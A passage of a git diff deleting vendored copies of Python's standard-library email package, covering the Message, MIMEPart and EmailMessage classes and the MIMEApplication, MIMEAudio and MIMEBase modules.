isinstance(value, tuple): - # Encode as per RFC 2231 - param += '*' - value = utils.encode_rfc2231(value[2], value[0], value[1]) - return '%s=%s' % (param, value) - else: - try: - value.encode('ascii') - except UnicodeEncodeError: - param += '*' - value = utils.encode_rfc2231(value, 'utf-8', '') - return '%s=%s' % (param, value) - # BAW: Please check this. I think that if quote is set it should - # force quoting even if not necessary. - if quote or tspecials.search(value): - return '%s="%s"' % (param, utils.quote(value)) - else: - return '%s=%s' % (param, value) - else: - return param - -def _parseparam(s): - # RDM This might be a Header, so for now stringify it. - s = ';' + str(s) - plist = [] - while s[:1] == ';': - s = s[1:] - end = s.find(';') - while end > 0 and (s.count('"', 0, end) - s.count('\\"', 0, end)) % 2: - end = s.find(';', end + 1) - if end < 0: - end = len(s) - f = s[:end] - if '=' in f: - i = f.index('=') - f = f[:i].strip().lower() + '=' + f[i+1:].strip() - plist.append(f.strip()) - s = s[end:] - return plist - - -def _unquotevalue(value): - # This is different than utils.collapse_rfc2231_value() because it doesn't - # try to convert the value to a unicode. Message.get_param() and - # Message.get_params() are both currently defined to return the tuple in - # the face of RFC 2231 parameters. - if isinstance(value, tuple): - return value[0], value[1], utils.unquote(value[2]) - else: - return utils.unquote(value) - - - -class Message: - """Basic message object. - - A message object is defined as something that has a bunch of RFC 2822 - headers and a payload. It may optionally have an envelope header - (a.k.a. Unix-From or From_ header). If the message is a container (i.e. a - multipart or a message/rfc822), then the payload is a list of Message - objects, otherwise it is a string. - - Message objects implement part of the `mapping' interface, which assumes - there is exactly one occurrence of the header per message. Some headers - do in fact appear multiple times (e.g. Received) and for those headers, - you must use the explicit API to set or get all the headers. Not all of - the mapping methods are implemented. - """ - def __init__(self, policy=compat32): - self.policy = policy - self._headers = [] - self._unixfrom = None - self._payload = None - self._charset = None - # Defaults for multipart messages - self.preamble = self.epilogue = None - self.defects = [] - # Default content type - self._default_type = 'text/plain' - - def __str__(self): - """Return the entire formatted message as a string. - """ - return self.as_string() - - def as_string(self, unixfrom=False, maxheaderlen=0, policy=None): - """Return the entire formatted message as a string. - - Optional 'unixfrom', when true, means include the Unix From_ envelope - header. For backward compatibility reasons, if maxheaderlen is - not specified it defaults to 0, so you must override it explicitly - if you want a different maxheaderlen. 'policy' is passed to the - Generator instance used to serialize the mesasge; if it is not - specified the policy associated with the message instance is used. - - If the message object contains binary data that is not encoded - according to RFC standards, the non-compliant data will be replaced by - unicode "unknown character" code points. - """ - from email.generator import Generator - policy = self.policy if policy is None else policy - fp = StringIO() - g = Generator(fp, - mangle_from_=False, - maxheaderlen=maxheaderlen, - policy=policy) - g.flatten(self, unixfrom=unixfrom) - return fp.getvalue() - - def __bytes__(self): - """Return the entire formatted message as a bytes object. - """ - return self.as_bytes() - - def as_bytes(self, unixfrom=False, policy=None): - """Return the entire formatted message as a bytes object. - - Optional 'unixfrom', when true, means include the Unix From_ envelope - header. 'policy' is passed to the BytesGenerator instance used to - serialize the message; if not specified the policy associated with - the message instance is used. - """ - from email.generator import BytesGenerator - policy = self.policy if policy is None else policy - fp = BytesIO() - g = BytesGenerator(fp, mangle_from_=False, policy=policy) - g.flatten(self, unixfrom=unixfrom) - return fp.getvalue() - - def is_multipart(self): - """Return True if the message consists of multiple parts.""" - return isinstance(self._payload, list) - - # - # Unix From_ line - # - def set_unixfrom(self, unixfrom): - self._unixfrom = unixfrom - - def get_unixfrom(self): - return self._unixfrom - - # - # Payload manipulation. - # - def attach(self, payload): - """Add the given payload to the current payload. - - The current payload will always be a list of objects after this method - is called. If you want to set the payload to a scalar object, use - set_payload() instead. - """ - if self._payload is None: - self._payload = [payload] - else: - try: - self._payload.append(payload) - except AttributeError: - raise TypeError("Attach is not valid on a message with a" - " non-multipart payload") - - def get_payload(self, i=None, decode=False): - """Return a reference to the payload. - - The payload will either be a list object or a string. If you mutate - the list object, you modify the message's payload in place. Optional - i returns that index into the payload. - - Optional decode is a flag indicating whether the payload should be - decoded or not, according to the Content-Transfer-Encoding header - (default is False). - - When True and the message is not a multipart, the payload will be - decoded if this header's value is `quoted-printable' or `base64'. If - some other encoding is used, or the header is missing, or if the - payload has bogus data (i.e. bogus base64 or uuencoded data), the - payload is returned as-is. - - If the message is a multipart and the decode flag is True, then None - is returned. - """ - # Here is the logic table for this code, based on the email5.0.0 code: - # i decode is_multipart result - # ------ ------ ------------ ------------------------------ - # None True True None - # i True True None - # None False True _payload (a list) - # i False True _payload element i (a Message) - # i False False error (not a list) - # i True False error (not a list) - # None False False _payload - # None True False _payload decoded (bytes) - # Note that Barry planned to factor out the 'decode' case, but that - # isn't so easy now that we handle the 8 bit data, which needs to be - # converted in both the decode and non-decode path. - if self.is_multipart(): - if decode: - return None - if i is None: - return self._payload - else: - return self._payload[i] - # For backward compatibility, Use isinstance and this error message - # instead of the more logical is_multipart test. - if i is not None and not isinstance(self._payload, list): - raise TypeError('Expected list, got %s' % type(self._payload)) - payload = self._payload - # cte might be a Header, so for now stringify it. - cte = str(self.get('content-transfer-encoding', '')).lower() - # payload may be bytes here. - if isinstance(payload, str): - if utils._has_surrogates(payload): - bpayload = payload.encode('ascii', 'surrogateescape') - if not decode: - try: - payload = bpayload.decode(self.get_param('charset', 'ascii'), 'replace') - except LookupError: - payload = bpayload.decode('ascii', 'replace') - elif decode: - try: - bpayload = payload.encode('ascii') - except UnicodeError: - # This won't happen for RFC compliant messages (messages - # containing only ASCII code points in the unicode input). - # If it does happen, turn the string into bytes in a way - # guaranteed not to fail. - bpayload = payload.encode('raw-unicode-escape') - if not decode: - return payload - if cte == 'quoted-printable': - return quopri.decodestring(bpayload) - elif cte == 'base64': - # XXX: this is a bit of a hack; decode_b should probably be factored - # out somewhere, but I haven't figured out where yet. - value, defects = decode_b(b''.join(bpayload.splitlines())) - for defect in defects: - self.policy.handle_defect(self, defect) - return value - elif cte in ('x-uuencode', 'uuencode', 'uue', 'x-uue'): - in_file = BytesIO(bpayload) - out_file = BytesIO() - try: - uu.decode(in_file, out_file, quiet=True) - return out_file.getvalue() - except uu.Error: - # Some decoding problem - return bpayload - if isinstance(payload, str): - return bpayload - return payload - - def set_payload(self, payload, charset=None): - """Set the payload to the given value. - - Optional charset sets the message's default character set. See - set_charset() for details. - """ - if hasattr(payload, 'encode'): - if charset is None: - self._payload = payload - return - if not isinstance(charset, Charset): - charset = Charset(charset) - payload = payload.encode(charset.output_charset) - if hasattr(payload, 'decode'): - self._payload = payload.decode('ascii', 'surrogateescape') - else: - self._payload = payload - if charset is not None: - self.set_charset(charset) - - def set_charset(self, charset): - """Set the charset of the payload to a given character set. - - charset can be a Charset instance, a string naming a character set, or - None. If it is a string it will be converted to a Charset instance. - If charset is None, the charset parameter will be removed from the - Content-Type field. Anything else will generate a TypeError. - - The message will be assumed to be of type text/* encoded with - charset.input_charset. It will be converted to charset.output_charset - and encoded properly, if needed, when generating the plain text - representation of the message. MIME headers (MIME-Version, - Content-Type, Content-Transfer-Encoding) will be added as needed. - """ - if charset is None: - self.del_param('charset') - self._charset = None - return - if not isinstance(charset, Charset): - charset = Charset(charset) - self._charset = charset - if 'MIME-Version' not in self: - self.add_header('MIME-Version', '1.0') - if 'Content-Type' not in self: - self.add_header('Content-Type', 'text/plain', - charset=charset.get_output_charset()) - else: - self.set_param('charset', charset.get_output_charset()) - if charset != charset.get_output_charset(): - self._payload = charset.body_encode(self._payload) - if 'Content-Transfer-Encoding' not in self: - cte = charset.get_body_encoding() - try: - cte(self) - except TypeError: - # This 'if' is for backward compatibility, it allows unicode - # through even though that won't work correctly if the - # message is serialized. - payload = self._payload - if payload: - try: - payload = payload.encode('ascii', 'surrogateescape') - except UnicodeError: - payload = payload.encode(charset.output_charset) - self._payload = charset.body_encode(payload) - self.add_header('Content-Transfer-Encoding', cte) - - def get_charset(self): - """Return the Charset instance associated with the message's payload. - """ - return self._charset - - # - # MAPPING INTERFACE (partial) - # - def __len__(self): - """Return the total number of headers, including duplicates.""" - return len(self._headers) - - def __getitem__(self, name): - """Get a header value. - - Return None if the header is missing instead of raising an exception. - - Note that if the header appeared multiple times, exactly which - occurrence gets returned is undefined. Use get_all() to get all - the values matching a header field name. - """ - return self.get(name) - - def __setitem__(self, name, val): - """Set the value of a header. - - Note: this does not overwrite an existing header with the same field - name. Use __delitem__() first to delete any existing headers. - """ - max_count = self.policy.header_max_count(name) - if max_count: - lname = name.lower() - found = 0 - for k, v in self._headers: - if k.lower() == lname: - found += 1 - if found >= max_count: - raise ValueError("There may be at most {} {} headers " - "in a message".format(max_count, name)) - self._headers.append(self.policy.header_store_parse(name, val)) - - def __delitem__(self, name): - """Delete all occurrences of a header, if present. - - Does not raise an exception if the header is missing. - """ - name = name.lower() - newheaders = [] - for k, v in self._headers: - if k.lower() != name: - newheaders.append((k, v)) - self._headers = newheaders - - def __contains__(self, name): - return name.lower() in [k.lower() for k, v in self._headers] - - def __iter__(self): - for field, value in self._headers: - yield field - - def keys(self): - """Return a list of all the message's header field names. - - These will be sorted in the order they appeared in the original - message, or were added to the message, and may contain duplicates. - Any fields deleted and re-inserted are always appended to the header - list. - """ - return [k for k, v in self._headers] - - def values(self): - """Return a list of all the message's header values. - - These will be sorted in the order they appeared in the original - message, or were added to the message, and may contain duplicates. - Any fields deleted and re-inserted are always appended to the header - list. - """ - return [self.policy.header_fetch_parse(k, v) - for k, v in self._headers] - - def items(self): - """Get all the message's header fields and values. - - These will be sorted in the order they appeared in the original - message, or were added to the message, and may contain duplicates. - Any fields deleted and re-inserted are always appended to the header - list. - """ - return [(k, self.policy.header_fetch_parse(k, v)) - for k, v in self._headers] - - def get(self, name, failobj=None): - """Get a header value. - - Like __getitem__() but return failobj instead of None when the field - is missing. - """ - name = name.lower() - for k, v in self._headers: - if k.lower() == name: - return self.policy.header_fetch_parse(k, v) - return failobj - - # - # "Internal" methods (public API, but only intended for use by a parser - # or generator, not normal application code. - # - - def set_raw(self, name, value): - """Store name and value in the model without modification. - - This is an "internal" API, intended only for use by a parser. - """ - self._headers.append((name, value)) - - def raw_items(self): - """Return the (name, value) header pairs without modification. - - This is an "internal" API, intended only for use by a generator. - """ - return iter(self._headers.copy()) - - # - # Additional useful stuff - # - - def get_all(self, name, failobj=None): - """Return a list of all the values for the named field. - - These will be sorted in the order they appeared in the original - message, and may contain duplicates. Any fields deleted and - re-inserted are always appended to the header list. - - If no such fields exist, failobj is returned (defaults to None). - """ - values = [] - name = name.lower() - for k, v in self._headers: - if k.lower() == name: - values.append(self.policy.header_fetch_parse(k, v)) - if not values: - return failobj - return values - - def add_header(self, _name, _value, **_params): - """Extended header setting. - - name is the header field to add. keyword arguments can be used to set - additional parameters for the header field, with underscores converted - to dashes. Normally the parameter will be added as key="value" unless - value is None, in which case only the key will be added. If a - parameter value contains non-ASCII characters it can be specified as a - three-tuple of (charset, language, value), in which case it will be - encoded according to RFC2231 rules. Otherwise it will be encoded using - the utf-8 charset and a language of ''. - - Examples: - - msg.add_header('content-disposition', 'attachment', filename='bud.gif') - msg.add_header('content-disposition', 'attachment', - filename=('utf-8', '', Fußballer.ppt')) - msg.add_header('content-disposition', 'attachment', - filename='Fußballer.ppt')) - """ - parts = [] - for k, v in _params.items(): - if v is None: - parts.append(k.replace('_', '-')) - else: - parts.append(_formatparam(k.replace('_', '-'), v)) - if _value is not None: - parts.insert(0, _value) - self[_name] = SEMISPACE.join(parts) - - def replace_header(self, _name, _value): - """Replace a header. - - Replace the first matching header found in the message, retaining - header order and case. If no matching header was found, a KeyError is - raised. - """ - _name = _name.lower() - for i, (k, v) in zip(range(len(self._headers)), self._headers): - if k.lower() == _name: - self._headers[i] = self.policy.header_store_parse(k, _value) - break - else: - raise KeyError(_name) - - # - # Use these three methods instead of the three above. - # - - def get_content_type(self): - """Return the message's content type. - - The returned string is coerced to lower case of the form - `maintype/subtype'. If there was no Content-Type header in the - message, the default type as given by get_default_type() will be - returned. Since according to RFC 2045, messages always have a default - type this will always return a value. - - RFC 2045 defines a message's default type to be text/plain unless it - appears inside a multipart/digest container, in which case it would be - message/rfc822. - """ - missing = object() - value = self.get('content-type', missing) - if value is missing: - # This should have no parameters - return self.get_default_type() - ctype = _splitparam(value)[0].lower() - # RFC 2045, section 5.2 says if its invalid, use text/plain - if ctype.count('/') != 1: - return 'text/plain' - return ctype - - def get_content_maintype(self): - """Return the message's main content type. - - This is the `maintype' part of the string returned by - get_content_type(). - """ - ctype = self.get_content_type() - return ctype.split('/')[0] - - def get_content_subtype(self): - """Returns the message's sub-content type. - - This is the `subtype' part of the string returned by - get_content_type(). - """ - ctype = self.get_content_type() - return ctype.split('/')[1] - - def get_default_type(self): - """Return the `default' content type. - - Most messages have a default content type of text/plain, except for - messages that are subparts of multipart/digest containers. Such - subparts have a default content type of message/rfc822. - """ - return self._default_type - - def set_default_type(self, ctype): - """Set the `default' content type. - - ctype should be either "text/plain" or "message/rfc822", although this - is not enforced. The default content type is not stored in the - Content-Type header. - """ - self._default_type = ctype - - def _get_params_preserve(self, failobj, header): - # Like get_params() but preserves the quoting of values. BAW: - # should this be part of the public interface? - missing = object() - value = self.get(header, missing) - if value is missing: - return failobj - params = [] - for p in _parseparam(value): - try: - name, val = p.split('=', 1) - name = name.strip() - val = val.strip() - except ValueError: - # Must have been a bare attribute - name = p.strip() - val = '' - params.append((name, val)) - params = utils.decode_params(params) - return params - - def get_params(self, failobj=None, header='content-type', unquote=True): - """Return the message's Content-Type parameters, as a list. - - The elements of the returned list are 2-tuples of key/value pairs, as - split on the `=' sign. The left hand side of the `=' is the key, - while the right hand side is the value. If there is no `=' sign in - the parameter the value is the empty string. The value is as - described in the get_param() method. - - Optional failobj is the object to return if there is no Content-Type - header. Optional header is the header to search instead of - Content-Type. If unquote is True, the value is unquoted. - """ - missing = object() - params = self._get_params_preserve(missing, header) - if params is missing: - return failobj - if unquote: - return [(k, _unquotevalue(v)) for k, v in params] - else: - return params - - def get_param(self, param, failobj=None, header='content-type', - unquote=True): - """Return the parameter value if found in the Content-Type header. - - Optional failobj is the object to return if there is no Content-Type - header, or the Content-Type header has no such parameter. Optional - header is the header to search instead of Content-Type. - - Parameter keys are always compared case insensitively. The return - value can either be a string, or a 3-tuple if the parameter was RFC - 2231 encoded. When it's a 3-tuple, the elements of the value are of - the form (CHARSET, LANGUAGE, VALUE). Note that both CHARSET and - LANGUAGE can be None, in which case you should consider VALUE to be - encoded in the us-ascii charset. You can usually ignore LANGUAGE. - The parameter value (either the returned string, or the VALUE item in - the 3-tuple) is always unquoted, unless unquote is set to False. - - If your application doesn't care whether the parameter was RFC 2231 - encoded, it can turn the return value into a string as follows: - - rawparam = msg.get_param('foo') - param = email.utils.collapse_rfc2231_value(rawparam) - - """ - if header not in self: - return failobj - for k, v in self._get_params_preserve(failobj, header): - if k.lower() == param.lower(): - if unquote: - return _unquotevalue(v) - else: - return v - return failobj - - def set_param(self, param, value, header='Content-Type', requote=True, - charset=None, language='', replace=False): - """Set a parameter in the Content-Type header. - - If the parameter already exists in the header, its value will be - replaced with the new value. - - If header is Content-Type and has not yet been defined for this - message, it will be set to "text/plain" and the new parameter and - value will be appended as per RFC 2045. - - An alternate header can be specified in the header argument, and all - parameters will be quoted as necessary unless requote is False. - - If charset is specified, the parameter will be encoded according to RFC - 2231. Optional language specifies the RFC 2231 language, defaulting - to the empty string. Both charset and language should be strings. - """ - if not isinstance(value, tuple) and charset: - value = (charset, language, value) - - if header not in self and header.lower() == 'content-type': - ctype = 'text/plain' - else: - ctype = self.get(header) - if not self.get_param(param, header=header): - if not ctype: - ctype = _formatparam(param, value, requote) - else: - ctype = SEMISPACE.join( - [ctype, _formatparam(param, value, requote)]) - else: - ctype = '' - for old_param, old_value in self.get_params(header=header, - unquote=requote): - append_param = '' - if old_param.lower() == param.lower(): - append_param = _formatparam(param, value, requote) - else: - append_param = _formatparam(old_param, old_value, requote) - if not ctype: - ctype = append_param - else: - ctype = SEMISPACE.join([ctype, append_param]) - if ctype != self.get(header): - if replace: - self.replace_header(header, ctype) - else: - del self[header] - self[header] = ctype - - def del_param(self, param, header='content-type', requote=True): - """Remove the given parameter completely from the Content-Type header. - - The header will be re-written in place without the parameter or its - value. All values will be quoted as necessary unless requote is - False. Optional header specifies an alternative to the Content-Type - header. - """ - if header not in self: - return - new_ctype = '' - for p, v in self.get_params(header=header, unquote=requote): - if p.lower() != param.lower(): - if not new_ctype: - new_ctype = _formatparam(p, v, requote) - else: - new_ctype = SEMISPACE.join([new_ctype, - _formatparam(p, v, requote)]) - if new_ctype != self.get(header): - del self[header] - self[header] = new_ctype - - def set_type(self, type, header='Content-Type', requote=True): - """Set the main type and subtype for the Content-Type header. - - type must be a string in the form "maintype/subtype", otherwise a - ValueError is raised. - - This method replaces the Content-Type header, keeping all the - parameters in place. If requote is False, this leaves the existing - header's quoting as is. Otherwise, the parameters will be quoted (the - default). - - An alternative header can be specified in the header argument. When - the Content-Type header is set, we'll always also add a MIME-Version - header. - """ - # BAW: should we be strict? - if not type.count('/') == 1: - raise ValueError - # Set the Content-Type, you get a MIME-Version - if header.lower() == 'content-type': - del self['mime-version'] - self['MIME-Version'] = '1.0' - if header not in self: - self[header] = type - return - params = self.get_params(header=header, unquote=requote) - del self[header] - self[header] = type - # Skip the first param; it's the old type. - for p, v in params[1:]: - self.set_param(p, v, header, requote) - - def get_filename(self, failobj=None): - """Return the filename associated with the payload if present. - - The filename is extracted from the Content-Disposition header's - `filename' parameter, and it is unquoted. If that header is missing - the `filename' parameter, this method falls back to looking for the - `name' parameter. - """ - missing = object() - filename = self.get_param('filename', missing, 'content-disposition') - if filename is missing: - filename = self.get_param('name', missing, 'content-type') - if filename is missing: - return failobj - return utils.collapse_rfc2231_value(filename).strip() - - def get_boundary(self, failobj=None): - """Return the boundary associated with the payload if present. - - The boundary is extracted from the Content-Type header's `boundary' - parameter, and it is unquoted. - """ - missing = object() - boundary = self.get_param('boundary', missing) - if boundary is missing: - return failobj - # RFC 2046 says that boundaries may begin but not end in w/s - return utils.collapse_rfc2231_value(boundary).rstrip() - - def set_boundary(self, boundary): - """Set the boundary parameter in Content-Type to 'boundary'. - - This is subtly different than deleting the Content-Type header and - adding a new one with a new boundary parameter via add_header(). The - main difference is that using the set_boundary() method preserves the - order of the Content-Type header in the original message. - - HeaderParseError is raised if the message has no Content-Type header. - """ - missing = object() - params = self._get_params_preserve(missing, 'content-type') - if params is missing: - # There was no Content-Type header, and we don't know what type - # to set it to, so raise an exception. - raise errors.HeaderParseError('No Content-Type header found') - newparams = [] - foundp = False - for pk, pv in params: - if pk.lower() == 'boundary': - newparams.append(('boundary', '"%s"' % boundary)) - foundp = True - else: - newparams.append((pk, pv)) - if not foundp: - # The original Content-Type header had no boundary attribute. - # Tack one on the end. BAW: should we raise an exception - # instead??? - newparams.append(('boundary', '"%s"' % boundary)) - # Replace the existing Content-Type header with the new value - newheaders = [] - for h, v in self._headers: - if h.lower() == 'content-type': - parts = [] - for k, v in newparams: - if v == '': - parts.append(k) - else: - parts.append('%s=%s' % (k, v)) - val = SEMISPACE.join(parts) - newheaders.append(self.policy.header_store_parse(h, val)) - - else: - newheaders.append((h, v)) - self._headers = newheaders - - def get_content_charset(self, failobj=None): - """Return the charset parameter of the Content-Type header. - - The returned string is always coerced to lower case. If there is no - Content-Type header, or if that header has no charset parameter, - failobj is returned. - """ - missing = object() - charset = self.get_param('charset', missing) - if charset is missing: - return failobj - if isinstance(charset, tuple): - # RFC 2231 encoded, so decode it, and it better end up as ascii. - pcharset = charset[0] or 'us-ascii' - try: - # LookupError will be raised if the charset isn't known to - # Python. UnicodeError will be raised if the encoded text - # contains a character not in the charset. - as_bytes = charset[2].encode('raw-unicode-escape') - charset = str(as_bytes, pcharset) - except (LookupError, UnicodeError): - charset = charset[2] - # charset characters must be in us-ascii range - try: - charset.encode('us-ascii') - except UnicodeError: - return failobj - # RFC 2046, $4.1.2 says charsets are not case sensitive - return charset.lower() - - def get_charsets(self, failobj=None): - """Return a list containing the charset(s) used in this message. - - The returned list of items describes the Content-Type headers' - charset parameter for this message and all the subparts in its - payload. - - Each item will either be a string (the value of the charset parameter - in the Content-Type header of that part) or the value of the - 'failobj' parameter (defaults to None), if the part does not have a - main MIME type of "text", or the charset is not defined. - - The list will contain one string for each part of the message, plus - one for the container message (i.e. self), so that a non-multipart - message will still return a list of length 1. - """ - return [part.get_content_charset(failobj) for part in self.walk()] - - def get_content_disposition(self): - """Return the message's content-disposition if it exists, or None. - - The return values can be either 'inline', 'attachment' or None - according to the rfc2183. - """ - value = self.get('content-disposition') - if value is None: - return None - c_d = _splitparam(value)[0].lower() - return c_d - - # I.e. def walk(self): ... - from email.iterators import walk - - -class MIMEPart(Message): - - def __init__(self, policy=None): - if policy is None: - from email.policy import default - policy = default - Message.__init__(self, policy) - - - def as_string(self, unixfrom=False, maxheaderlen=None, policy=None): - """Return the entire formatted message as a string. - - Optional 'unixfrom', when true, means include the Unix From_ envelope - header. maxheaderlen is retained for backward compatibility with the - base Message class, but defaults to None, meaning that the policy value - for max_line_length controls the header maximum length. 'policy' is - passed to the Generator instance used to serialize the mesasge; if it - is not specified the policy associated with the message instance is - used. - """ - policy = self.policy if policy is None else policy - if maxheaderlen is None: - maxheaderlen = policy.max_line_length - return super().as_string(maxheaderlen=maxheaderlen, policy=policy) - - def __str__(self): - return self.as_string(policy=self.policy.clone(utf8=True)) - - def is_attachment(self): - c_d = self.get('content-disposition') - return False if c_d is None else c_d.content_disposition == 'attachment' - - def _find_body(self, part, preferencelist): - if part.is_attachment(): - return - maintype, subtype = part.get_content_type().split('/') - if maintype == 'text': - if subtype in preferencelist: - yield (preferencelist.index(subtype), part) - return - if maintype != 'multipart': - return - if subtype != 'related': - for subpart in part.iter_parts(): - yield from self._find_body(subpart, preferencelist) - return - if 'related' in preferencelist: - yield (preferencelist.index('related'), part) - candidate = None - start = part.get_param('start') - if start: - for subpart in part.iter_parts(): - if subpart['content-id'] == start: - candidate = subpart - break - if candidate is None: - subparts = part.get_payload() - candidate = subparts[0] if subparts else None - if candidate is not None: - yield from self._find_body(candidate, preferencelist) - - def get_body(self, preferencelist=('related', 'html', 'plain')): - """Return best candidate mime part for display as 'body' of message. - - Do a depth first search, starting with self, looking for the first part - matching each of the items in preferencelist, and return the part - corresponding to the first item that has a match, or None if no items - have a match. If 'related' is not included in preferencelist, consider - the root part of any multipart/related encountered as a candidate - match. Ignore parts with 'Content-Disposition: attachment'. - """ - best_prio = len(preferencelist) - body = None - for prio, part in self._find_body(self, preferencelist): - if prio < best_prio: - best_prio = prio - body = part - if prio == 0: - break - return body - - _body_types = {('text', 'plain'), - ('text', 'html'), - ('multipart', 'related'), - ('multipart', 'alternative')} - def iter_attachments(self): - """Return an iterator over the non-main parts of a multipart. - - Skip the first of each occurrence of text/plain, text/html, - multipart/related, or multipart/alternative in the multipart (unless - they have a 'Content-Disposition: attachment' header) and include all - remaining subparts in the returned iterator. When applied to a - multipart/related, return all parts except the root part. Return an - empty iterator when applied to a multipart/alternative or a - non-multipart. - """ - maintype, subtype = self.get_content_type().split('/') - if maintype != 'multipart' or subtype == 'alternative': - return - parts = self.get_payload().copy() - if maintype == 'multipart' and subtype == 'related': - # For related, we treat everything but the root as an attachment. - # The root may be indicated by 'start'; if there's no start or we - # can't find the named start, treat the first subpart as the root. - start = self.get_param('start') - if start: - found = False - attachments = [] - for part in parts: - if part.get('content-id') == start: - found = True - else: - attachments.append(part) - if found: - yield from attachments - return - parts.pop(0) - yield from parts - return - # Otherwise we more or less invert the remaining logic in get_body. - # This only really works in edge cases (ex: non-text related or - # alternatives) if the sending agent sets content-disposition. - seen = [] # Only skip the first example of each candidate type. - for part in parts: - maintype, subtype = part.get_content_type().split('/') - if ((maintype, subtype) in self._body_types and - not part.is_attachment() and subtype not in seen): - seen.append(subtype) - continue - yield part - - def iter_parts(self): - """Return an iterator over all immediate subparts of a multipart. - - Return an empty iterator for a non-multipart. - """ - if self.get_content_maintype() == 'multipart': - yield from self.get_payload() - - def get_content(self, *args, content_manager=None, **kw): - if content_manager is None: - content_manager = self.policy.content_manager - return content_manager.get_content(self, *args, **kw) - - def set_content(self, *args, content_manager=None, **kw): - if content_manager is None: - content_manager = self.policy.content_manager - content_manager.set_content(self, *args, **kw) - - def _make_multipart(self, subtype, disallowed_subtypes, boundary): - if self.get_content_maintype() == 'multipart': - existing_subtype = self.get_content_subtype() - disallowed_subtypes = disallowed_subtypes + (subtype,) - if existing_subtype in disallowed_subtypes: - raise ValueError("Cannot convert {} to {}".format( - existing_subtype, subtype)) - keep_headers = [] - part_headers = [] - for name, value in self._headers: - if name.lower().startswith('content-'): - part_headers.append((name, value)) - else: - keep_headers.append((name, value)) - if part_headers: - # There is existing content, move it to the first subpart. - part = type(self)(policy=self.policy) - part._headers = part_headers - part._payload = self._payload - self._payload = [part] - else: - self._payload = [] - self._headers = keep_headers - self['Content-Type'] = 'multipart/' + subtype - if boundary is not None: - self.set_param('boundary', boundary) - - def make_related(self, boundary=None): - self._make_multipart('related', ('alternative', 'mixed'), boundary) - - def make_alternative(self, boundary=None): - self._make_multipart('alternative', ('mixed',), boundary) - - def make_mixed(self, boundary=None): - self._make_multipart('mixed', (), boundary) - - def _add_multipart(self, _subtype, *args, _disp=None, **kw): - if (self.get_content_maintype() != 'multipart' or - self.get_content_subtype() != _subtype): - getattr(self, 'make_' + _subtype)() - part = type(self)(policy=self.policy) - part.set_content(*args, **kw) - if _disp and 'content-disposition' not in part: - part['Content-Disposition'] = _disp - self.attach(part) - - def add_related(self, *args, **kw): - self._add_multipart('related', *args, _disp='inline', **kw) - - def add_alternative(self, *args, **kw): - self._add_multipart('alternative', *args, **kw) - - def add_attachment(self, *args, **kw): - self._add_multipart('mixed', *args, _disp='attachment', **kw) - - def clear(self): - self._headers = [] - self._payload = None - - def clear_content(self): - self._headers = [(n, v) for n, v in self._headers - if not n.lower().startswith('content-')] - self._payload = None - - -class EmailMessage(MIMEPart): - - def set_content(self, *args, **kw): - super().set_content(*args, **kw) - if 'MIME-Version' not in self: - self['MIME-Version'] = '1.0' diff --git a/email/mime/application.py b/email/mime/application.py deleted file mode 100755 index 6877e55..0000000 --- a/email/mime/application.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright (C) 2001-2006 Python Software Foundation -# Author: Keith Dart -# Contact: email-sig@python.org - -"""Class representing application/* type MIME documents.""" - -__all__ = ["MIMEApplication"] - -from email import encoders -from email.mime.nonmultipart import MIMENonMultipart - - -class MIMEApplication(MIMENonMultipart): - """Class for generating application/* MIME documents.""" - - def __init__(self, _data, _subtype='octet-stream', - _encoder=encoders.encode_base64, *, policy=None, **_params): - """Create an application/* type MIME document. - - _data is a string containing the raw application data. - - _subtype is the MIME content type subtype, defaulting to - 'octet-stream'. - - _encoder is a function which will perform the actual encoding for - transport of the application data, defaulting to base64 encoding. - - Any additional keyword arguments are passed to the base class - constructor, which turns them into parameters on the Content-Type - header. - """ - if _subtype is None: - raise TypeError('Invalid application MIME subtype') - MIMENonMultipart.__init__(self, 'application', _subtype, policy=policy, - **_params) - self.set_payload(_data) - _encoder(self) diff --git a/email/mime/audio.py b/email/mime/audio.py deleted file mode 100755 index 4bcd7b2..0000000 --- a/email/mime/audio.py +++ /dev/null @@ -1,74 +0,0 @@ -# Copyright (C) 2001-2007 Python Software Foundation -# Author: Anthony Baxter -# Contact: email-sig@python.org - -"""Class representing audio/* type MIME documents.""" - -__all__ = ['MIMEAudio'] - -import sndhdr - -from io import BytesIO -from email import encoders -from email.mime.nonmultipart import MIMENonMultipart - - - -_sndhdr_MIMEmap = {'au' : 'basic', - 'wav' :'x-wav', - 'aiff':'x-aiff', - 'aifc':'x-aiff', - } - -# There are others in sndhdr that don't have MIME types. :( -# Additional ones to be added to sndhdr? midi, mp3, realaudio, wma?? -def _whatsnd(data): - """Try to identify a sound file type. - - sndhdr.what() has a pretty cruddy interface, unfortunately. This is why - we re-do it here. It would be easier to reverse engineer the Unix 'file' - command and use the standard 'magic' file, as shipped with a modern Unix. - """ - hdr = data[:512] - fakefile = BytesIO(hdr) - for testfn in sndhdr.tests: - res = testfn(hdr, fakefile) - if res is not None: - return _sndhdr_MIMEmap.get(res[0]) - return None - - - -class MIMEAudio(MIMENonMultipart): - """Class for generating audio/* MIME documents.""" - - def __init__(self, _audiodata, _subtype=None, - _encoder=encoders.encode_base64, *, policy=None, **_params): - """Create an audio/* type MIME document. - - _audiodata is a string containing the raw audio data. If this data - can be decoded by the standard Python `sndhdr' module, then the - subtype will be automatically included in the Content-Type header. - Otherwise, you can specify the specific audio subtype via the - _subtype parameter. If _subtype is not given, and no subtype can be - guessed, a TypeError is raised. - - _encoder is a function which will perform the actual encoding for - transport of the image data. It takes one argument, which is this - Image instance. It should use get_payload() and set_payload() to - change the payload to the encoded form. It should also add any - Content-Transfer-Encoding or other headers to the message as - necessary. The default encoding is Base64. - - Any additional keyword arguments are passed to the base class - constructor, which turns them into parameters on the Content-Type - header. - """ - if _subtype is None: - _subtype = _whatsnd(_audiodata) - if _subtype is None: - raise TypeError('Could not find audio MIME subtype') - MIMENonMultipart.__init__(self, 'audio', _subtype, policy=policy, - **_params) - self.set_payload(_audiodata) - _encoder(self) diff --git a/email/mime/base.py b/email/mime/base.py deleted file mode 100755 index 1a3f9b5..0000000 --- a/email/mime/base.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright (C) 2001-2006 Python Software Foundation -# Author: Barry Warsaw -# Contact: email-sig@python.org - -"""Base class for MIME specializations.""" - -__all__ = ['MIMEBase'] - -import email.policy - -from email import message - - - -class MIMEBase(message.Message): - """Base class for MIME specializations.""" - - def __init__(self, _maintype, _subtype, *, policy=None, **_params): - """This constructor adds a Content-Type: and a MIME-Version: header. - - The Content-Type: header is taken from the 